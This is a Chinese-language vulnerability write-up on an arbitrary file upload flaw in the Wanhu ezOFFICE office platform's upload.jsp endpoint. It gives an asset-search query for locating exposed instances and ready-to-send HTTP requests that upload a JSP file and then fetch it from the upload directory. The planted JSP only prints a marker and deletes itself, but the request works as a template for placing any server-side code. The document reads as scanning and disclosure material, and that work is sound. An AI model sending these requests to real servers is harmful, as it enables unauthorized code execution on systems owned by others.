万户协同办公平台portletSettingId存在任意文件上传漏洞
一、漏洞简介
万户ezOFFICE协同管理平台是一个综合信息基础应用平台。 万户协同办公平台portletSettingId存在任意文件上传漏洞
二、影响版本
- 万户ezoffice
三、资产测绘
- hunter
app.name="万户 Ezoffice OA" - 登录页面
四、漏洞复现
POST /defaultroot/platform/portal/layout/common/upload.jsp?portletSettingId=123&path=dir HTTP/1.1
Host: {hostname}
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 286
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----othotlvgwwannsrjurc6
Cookie: OASESSIONID=416B4CE965CD27DEED8197A8528A33E6
------othotlvgwwannsrjurc6
Content-Disposition: form-data; name="file"; filename="hc0qc.jsp"
Content-Type: application/octet-stream
<%out.println("m7kmpz4ucpdtkbld4sxy");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------othotlvgwwannsrjurc6--
上传文件位置
GET /defaultroot/upload/dir/202312/2023121622252900709344996.jsp HTTP/1.1
Host: {hostname}
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close
Cookie: OASESSIONID=416B4CE965CD27DEED8197A8528A33E6; OASESSIONID=D4E78F785F0A319A594DC801BBB486AD
nuclei脚本
wanhu-fileupload-common-upload.yaml